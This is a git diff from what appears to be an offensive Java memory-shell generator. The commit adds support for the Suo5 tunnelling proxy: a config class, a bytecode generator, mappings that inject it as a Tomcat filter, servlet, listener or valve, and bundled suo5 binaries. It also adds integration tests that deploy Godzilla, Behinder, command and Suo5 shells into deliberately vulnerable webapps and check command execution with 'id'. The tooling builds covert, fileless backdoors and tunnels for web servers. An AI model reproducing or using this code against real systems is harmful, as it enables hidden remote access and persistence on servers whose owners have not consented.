diff --git a/asserts/suo5/suo5-darwin-arm64 b/asserts/suo5/suo5-darwin-arm64 new file mode 100755 index 00000000..62ec99de Binary files /dev/null and b/asserts/suo5/suo5-darwin-arm64 differ diff --git a/asserts/suo5/suo5-linux-amd64 b/asserts/suo5/suo5-linux-amd64 new file mode 100755 index 00000000..1dcd3dac Binary files /dev/null and b/asserts/suo5/suo5-linux-amd64 differ diff --git a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java index 2fc85b8b..cdbf2ea5 100644 --- a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java +++ b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java @@ -1,7 +1,6 @@ package com.reajason.javaweb; import com.reajason.javaweb.memshell.AbstractShell; -import com.reajason.javaweb.memshell.SpringWebFluxShell; import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.packer.Packers; import com.reajason.javaweb.memshell.utils.CommonUtil; @@ -21,7 +20,7 @@ public class GeneratorMain { public static void main(String[] args) throws IOException { ShellConfig shellConfig = ShellConfig.builder() .server(Server.Tomcat) - .shellTool(ShellTool.Godzilla) + .shellTool(ShellTool.Suo5) .shellType(Constants.FILTER) .targetJreVersion(Opcodes.V1_8) .debug(true) @@ -38,14 +37,18 @@ public class GeneratorMain { .headerName("User-Agent") .headerValue("test").build(); + Suo5Config suo5Config = Suo5Config.builder() + .headerName("User-Agent") + .headerValue("test").build(); + InjectorConfig injectorConfig = new InjectorConfig(); - GenerateResult generateResult = generate(shellConfig, injectorConfig, godzillaConfig); + GenerateResult generateResult = generate(shellConfig, injectorConfig, suo5Config); if (generateResult != null) { // Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW); // Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW); - System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes())); - System.out.println(Packers.MVEL.getInstance().pack(generateResult)); +// System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes())); + System.out.println(Packers.ScriptEngine.getInstance().pack(generateResult)); // Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult)); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java index 04777c0d..0a0043a5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java @@ -1,10 +1,7 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.memshell.config.*; -import com.reajason.javaweb.memshell.generator.BehinderGenerator; -import com.reajason.javaweb.memshell.generator.CommandGenerator; -import com.reajason.javaweb.memshell.generator.GodzillaGenerator; -import com.reajason.javaweb.memshell.generator.InjectorGenerator; +import com.reajason.javaweb.memshell.generator.*; import org.apache.commons.lang3.tuple.Pair; import java.util.Collections; @@ -74,12 +71,17 @@ public abstract class AbstractShell { return Collections.emptyMap(); } + protected Map, Class>> getSuo5ShellMap() { + return Collections.emptyMap(); + } + private Pair, Class> getShellInjectorPair(ShellTool shellTool, String shellType) { Map, Class>> shellMap = switch (shellTool) { case Godzilla -> getGodzillaShellMap(); case Command -> getCommandShellMap(); case Behinder -> getBehinderShellMap(); - default -> Collections.emptyMap(); + case Suo5 -> getSuo5ShellMap(); + default -> throw new UnsupportedOperationException("Unknown shell type: " + shellType); }; return shellMap.get(shellType); } @@ -89,6 +91,7 @@ public abstract class AbstractShell { case Godzilla -> new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes(); case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig); case Behinder -> new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes(); + case Suo5 -> new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes(); default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool()); }; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java index 7a237f88..c84e2f45 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java @@ -12,11 +12,15 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve; import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; import com.reajason.javaweb.memshell.tomcat.command.CommandListener; import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket; import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.tomcat.injector.*; +import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener; import org.apache.commons.lang3.tuple.Pair; import java.util.LinkedHashMap; @@ -81,4 +85,18 @@ public class TomcatShell extends AbstractShell { map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); return map; } + + @Override + protected Map, Class>> getSuo5ShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(SERVLET, Pair.of(Suo5Servlet.class, TomcatServletInjector.class)); + map.put(JAKARTA_SERVLET, Pair.of(Suo5Servlet.class, TomcatServletInjector.class)); + map.put(FILTER, Pair.of(Suo5Filter.class, TomcatFilterInjector.class)); + map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, TomcatFilterInjector.class)); + map.put(LISTENER, Pair.of(Suo5Listener.class, TomcatListenerInjector.class)); + map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, TomcatListenerInjector.class)); + map.put(VALVE, Pair.of(Suo5Valve.class, TomcatValveInjector.class)); + map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, TomcatValveInjector.class)); + return map; + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellTool.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellTool.java index d58c4691..22c1b658 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellTool.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellTool.java @@ -18,5 +18,10 @@ public enum ShellTool { /** * 冰蝎 */ - Behinder + Behinder, + + /** + * Suo5 隧道代理 + */ + Suo5, } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/Suo5Config.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/Suo5Config.java new file mode 100644 index 00000000..d4e2c829 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/Suo5Config.java @@ -0,0 +1,21 @@ +package com.reajason.javaweb.memshell.config; + +import com.reajason.javaweb.memshell.utils.CommonUtil; +import lombok.*; +import lombok.experimental.SuperBuilder; + +/** + * @author ReaJason + * @since 2025/2/12 + */ +@Getter +@SuperBuilder +@NoArgsConstructor +@AllArgsConstructor +@ToString +public class Suo5Config extends ShellToolConfig { + @Builder.Default + private String headerName = "User-Agent"; + @Builder.Default + private String headerValue = CommonUtil.getRandomString(8); +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/Suo5Generator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/Suo5Generator.java new file mode 100644 index 00000000..30b090d8 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/Suo5Generator.java @@ -0,0 +1,65 @@ +package com.reajason.javaweb.memshell.generator; + +import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper; +import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; +import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; +import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.memshell.config.Suo5Config; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.dynamic.DynamicType; + +import java.util.Map; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2025/2/12 + */ +public class Suo5Generator { + private final ShellConfig shellConfig; + private final Suo5Config suo5Config; + + public Suo5Generator(ShellConfig shellConfig, Suo5Config suo5Config) { + this.shellConfig = shellConfig; + this.suo5Config = suo5Config; + } + + public DynamicType.Builder getBuilder() { + DynamicType.Builder builder = new ByteBuddy() + .redefine(suo5Config.getShellClass()) + .name(suo5Config.getShellClassName()) + .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())); + + if (shellConfig.isJakarta()) { + builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); + } + + if (shellConfig.isDebugOff()) { + builder = LogRemoveMethodVisitor.extend(builder); + } + + if (shellConfig.getShellType().startsWith(Constants.AGENT)) { + builder = builder.visit( + new LdcReAssignVisitorWrapper(Map.of( + "headerName", suo5Config.getHeaderName(), + "headerValue", suo5Config.getHeaderValue() + )) + ); + } else { + builder = builder + .field(named("headerName")).value(suo5Config.getHeaderName()) + .field(named("headerValue")).value(suo5Config.getHeaderValue()); + } + return builder; + } + + public byte[] getBytes() { + DynamicType.Builder builder = getBuilder(); + try (DynamicType.Unloaded make = builder.make()) { + return make.getBytes(); + } + } +} diff --git a/integration-test/build.gradle b/integration-test/build.gradle index c3c513d8..65560593 100644 --- a/integration-test/build.gradle +++ b/integration-test/build.gradle @@ -10,6 +10,7 @@ dependencies { testImplementation project(":common") testImplementation project(":tools:behinder") testImplementation project(":tools:godzilla") + testImplementation project(":tools:suo5") testImplementation project(':generator') testImplementation 'net.bytebuddy:byte-buddy' diff --git a/integration-test/docker-compose/jetty/docker-compose-6-jdk6.yaml b/integration-test/docker-compose/jetty/docker-compose-6-jdk6.yaml index 35809a7f..4d64b21b 100644 --- a/integration-test/docker-compose/jetty/docker-compose-6-jdk6.yaml +++ b/integration-test/docker-compose/jetty/docker-compose-6-jdk6.yaml @@ -3,7 +3,8 @@ services: image: reajason/jetty:6.1-jdk6 ports: - "8080:8080" - environment: - JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + - "5005:5005" +# environment: +# JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 volumes: - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/jetty/webapps/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/jetty/docker-compose-9.4-jre8.yaml b/integration-test/docker-compose/jetty/docker-compose-9.4-jre8.yaml index 4751d54f..7f9c181d 100644 --- a/integration-test/docker-compose/jetty/docker-compose-9.4-jre8.yaml +++ b/integration-test/docker-compose/jetty/docker-compose-9.4-jre8.yaml @@ -1,10 +1,12 @@ services: jetty948: - image: jetty:9.4-jre8-slim + image: jetty:9.4-jre8 ports: - "8080:8080" - "5005:5005" environment: JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 volumes: + - /Users/reajason/workspace/arthas:/opt/arthas + - /Users/reajason/IdeaProjects/MemShellParty/asserts/agent/jattach-linux:/opt/jattach - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/var/lib/jetty/webapps/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/payara/docker-compose-5-2022-5.yaml b/integration-test/docker-compose/payara/docker-compose-5-2022-5.yaml index 651b209b..c07d251e 100644 --- a/integration-test/docker-compose/payara/docker-compose-5-2022-5.yaml +++ b/integration-test/docker-compose/payara/docker-compose-5-2022-5.yaml @@ -9,4 +9,5 @@ services: environment: JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 volumes: + - /Users/reajason/workspace/arthas:/usr/local/arthas - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/resin/docker-compose-4.0.58.yaml b/integration-test/docker-compose/resin/docker-compose-4.0.58.yaml index 43f30a04..cb252e0e 100644 --- a/integration-test/docker-compose/resin/docker-compose-4.0.58.yaml +++ b/integration-test/docker-compose/resin/docker-compose-4.0.58.yaml @@ -3,8 +3,7 @@ services: image: reajason/resin:4.0.58 container_name: resin4058 ports: - - "8080:8080" - - "5005:5005" + - "8081:8080" environment: JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 volumes: diff --git a/integration-test/docker-compose/tomcat/docker-compose-10.1-jre11.yaml b/integration-test/docker-compose/tomcat/docker-compose-10.1-jre11.yaml index b31d8c89..7134f5a7 100644 --- a/integration-test/docker-compose/tomcat/docker-compose-10.1-jre11.yaml +++ b/integration-test/docker-compose/tomcat/docker-compose-10.1-jre11.yaml @@ -7,4 +7,6 @@ services: environment: JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 volumes: + - /Users/reajason/IdeaProjects/MemShellParty/target.jar:/usr/local/arthas/target.jar + - /Users/reajason/workspace/arthas:/usr/local/arthas - ../../../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/usr/local/tomcat/webapps/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/tomcat/docker-compose-5-jdk6.yaml b/integration-test/docker-compose/tomcat/docker-compose-5-jdk6.yaml index 59bf55e8..49c836df 100644 --- a/integration-test/docker-compose/tomcat/docker-compose-5-jdk6.yaml +++ b/integration-test/docker-compose/tomcat/docker-compose-5-jdk6.yaml @@ -7,4 +7,5 @@ services: environment: JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 volumes: + - /Users/reajason/workspace/arthas:/usr/local/arthas - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/tomcat/webapps/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/tomcat/docker-compose-8-jre8.yaml b/integration-test/docker-compose/tomcat/docker-compose-8-jre8.yaml index 409545fd..b84c4c93 100644 --- a/integration-test/docker-compose/tomcat/docker-compose-8-jre8.yaml +++ b/integration-test/docker-compose/tomcat/docker-compose-8-jre8.yaml @@ -2,9 +2,10 @@ services: tomcat88: image: tomcat:8-jre8 ports: - - "8080:8080" + - "8081:8080" - "5005:5005" environment: JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 volumes: + - /Users/reajason/workspace/arthas:/usr/local/arthas - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/tomcat/webapps/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/weblogic/docker-compose-12214.yaml b/integration-test/docker-compose/weblogic/docker-compose-12214.yaml index eb98062a..e2b56c7c 100644 --- a/integration-test/docker-compose/weblogic/docker-compose-12214.yaml +++ b/integration-test/docker-compose/weblogic/docker-compose-12214.yaml @@ -4,7 +4,6 @@ services: container_name: weblogic12214 ports: - "7001:7001" - - "5005:5005" environment: JAVA_OPTS: "-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n" volumes: diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/BehinderShellTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/BehinderShellTool.java deleted file mode 100644 index def5d4f1..00000000 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/BehinderShellTool.java +++ /dev/null @@ -1,21 +0,0 @@ -package com.reajason.javaweb.integration; - -import com.reajason.javaweb.behinder.BehinderManager; -import com.reajason.javaweb.memshell.config.BehinderConfig; - -import static org.junit.jupiter.api.Assertions.assertTrue; - -/** - * @author ReaJason - * @since 2024/11/30 - */ -public class BehinderShellTool { - - public static void testIsOk(String entrypoint, BehinderConfig shellConfig) { - BehinderManager behinderManager = BehinderManager.builder() - .entrypoint(entrypoint).pass(shellConfig.getPass()) - .header(shellConfig.getHeaderName() - , shellConfig.getHeaderValue()).build(); - assertTrue(behinderManager.test()); - } -} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java deleted file mode 100644 index f7bc23ee..00000000 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java +++ /dev/null @@ -1,38 +0,0 @@ -package com.reajason.javaweb.integration; - -import com.reajason.javaweb.memshell.config.CommandConfig; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import okhttp3.HttpUrl; -import okhttp3.OkHttpClient; -import okhttp3.Request; -import okhttp3.Response; - -import java.util.Objects; - -import static org.junit.jupiter.api.Assertions.assertTrue; - -/** - * @author ReaJason - * @since 2024/11/30 - */ -@Slf4j -public class CommandShellTool { - @SneakyThrows - public static void testIsOk(String entrypoint, CommandConfig shellConfig) { - OkHttpClient okHttpClient = new OkHttpClient(); - HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint)) - .newBuilder() - .addQueryParameter(shellConfig.getParamName(), "id") - .build(); - Request request = new Request.Builder() - .url(url) - .get().build(); - - try (Response response = okHttpClient.newCall(request).execute()) { - String res = response.body().string(); - System.out.println(res.trim()); - assertTrue(res.contains("uid=")); - } - } -} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/GodzillaShellTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/GodzillaShellTool.java deleted file mode 100644 index ab2026ae..00000000 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/GodzillaShellTool.java +++ /dev/null @@ -1,27 +0,0 @@ -package com.reajason.javaweb.integration; - -import com.reajason.javaweb.memshell.config.GodzillaConfig; -import com.reajason.javaweb.godzilla.GodzillaManager; - -import java.io.IOException; - -import static org.junit.jupiter.api.Assertions.assertTrue; - -/** - * @author ReaJason - * @since 2024/11/30 - */ -public class GodzillaShellTool { - - public static void testIsOk(String entrypoint, GodzillaConfig shellConfig) { - try (GodzillaManager godzillaManager = GodzillaManager.builder() - .entrypoint(entrypoint).pass(shellConfig.getPass()) - .key(shellConfig.getKey()).header(shellConfig.getHeaderName() - , shellConfig.getHeaderValue()).build()) { - assertTrue(godzillaManager.start()); - assertTrue(godzillaManager.test()); - } catch (IOException e) { - e.printStackTrace(); - } - } -} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index e50cc657..67736c6c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -1,25 +1,35 @@ package com.reajason.javaweb.integration; import com.reajason.javaweb.GeneratorMain; +import com.reajason.javaweb.behinder.BehinderManager; +import com.reajason.javaweb.godzilla.GodzillaManager; import com.reajason.javaweb.memshell.SpringWebFluxShell; import com.reajason.javaweb.memshell.SpringWebMvcShell; import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.packer.Packers; import com.reajason.javaweb.memshell.packer.jar.JarPacker; +import com.reajason.javaweb.suo5.Suo5Manager; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; +import okhttp3.HttpUrl; +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.Response; import org.testcontainers.containers.GenericContainer; import org.testcontainers.shaded.org.apache.commons.io.FileUtils; import org.testcontainers.shaded.org.apache.commons.lang3.StringUtils; import org.testcontainers.utility.MountableFile; +import java.io.IOException; import java.nio.file.Files; import java.nio.file.Path; +import java.util.Objects; import static org.hamcrest.CoreMatchers.anyOf; import static org.hamcrest.CoreMatchers.containsString; import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertDoesNotThrow; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * @author ReaJason @@ -71,16 +81,62 @@ public class ShellAssertionTool { switch (shellTool) { case Godzilla: - GodzillaShellTool.testIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig())); + testGodzillaIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig())); break; case Command: - CommandShellTool.testIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig())); + testCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig())); break; case Behinder: - BehinderShellTool.testIsOk(shellUrl, ((BehinderConfig) generateResult.getShellToolConfig())); + testBehinderIsOk(shellUrl, ((BehinderConfig) generateResult.getShellToolConfig())); + break; + case Suo5: + testSuo5IsOk(shellUrl, ((Suo5Config) generateResult.getShellToolConfig())); + break; } } + public static void testGodzillaIsOk(String entrypoint, GodzillaConfig shellConfig) { + try (GodzillaManager godzillaManager = GodzillaManager.builder() + .entrypoint(entrypoint).pass(shellConfig.getPass()) + .key(shellConfig.getKey()).header(shellConfig.getHeaderName() + , shellConfig.getHeaderValue()).build()) { + assertTrue(godzillaManager.start()); + assertTrue(godzillaManager.test()); + } catch (IOException e) { + e.printStackTrace(); + } + } + + @SneakyThrows + public static void testCommandIsOk(String entrypoint, CommandConfig shellConfig) { + OkHttpClient okHttpClient = new OkHttpClient(); + HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint)) + .newBuilder() + .addQueryParameter(shellConfig.getParamName(), "id") + .build(); + Request request = new Request.Builder() + .url(url) + .get().build(); + + try (Response response = okHttpClient.newCall(request).execute()) { + String res = response.body().string(); + System.out.println(res.trim()); + assertTrue(res.contains("uid=")); + } + } + + public static void testBehinderIsOk(String entrypoint, BehinderConfig shellConfig) { + BehinderManager behinderManager = BehinderManager.builder() + .entrypoint(entrypoint).pass(shellConfig.getPass()) + .header(shellConfig.getHeaderName() + , shellConfig.getHeaderValue()).build(); + assertTrue(behinderManager.test()); + } + + public static void testSuo5IsOk(String entrypoint, Suo5Config shellConfig) { + assertTrue(Suo5Manager.test(entrypoint, shellConfig.getHeaderValue())); + } + public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer) { InjectorConfig injectorConfig = new InjectorConfig(); if (StringUtils.isNotBlank(urlPattern)) { @@ -122,6 +178,13 @@ public class ShellAssertionTool { .build(); log.info("generated {} behinder with pass: {}, headerValue: {}", shellType, behinderPass, uniqueName); break; + case Suo5: + shellToolConfig = Suo5Config.builder() + .headerName("User-Agent") + .headerValue(uniqueName) + .build(); + log.info("generated {} suo5 with headerValue: {}", shellType, uniqueName); + break; } return GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java index b85c2348..c243c76e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java @@ -50,6 +50,9 @@ public class Tomcat10ContainerTest { arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSPX), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSPX), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSPX), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize), @@ -59,6 +62,9 @@ public class Tomcat10ContainerTest { arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSPX), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSPX), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSPX), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize), @@ -68,6 +74,9 @@ public class Tomcat10ContainerTest { arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSPX), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSPX), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSPX), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.Deserialize), @@ -77,6 +86,9 @@ public class Tomcat10ContainerTest { arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSPX), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSPX), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java index fa2bc1ca..f2e9c4ac 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java @@ -45,15 +45,19 @@ public class Tomcat11ContainerTest { arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java index 772a184e..a7c132e2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java @@ -45,15 +45,19 @@ public class Tomcat11JRE21ContainerTest { arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, 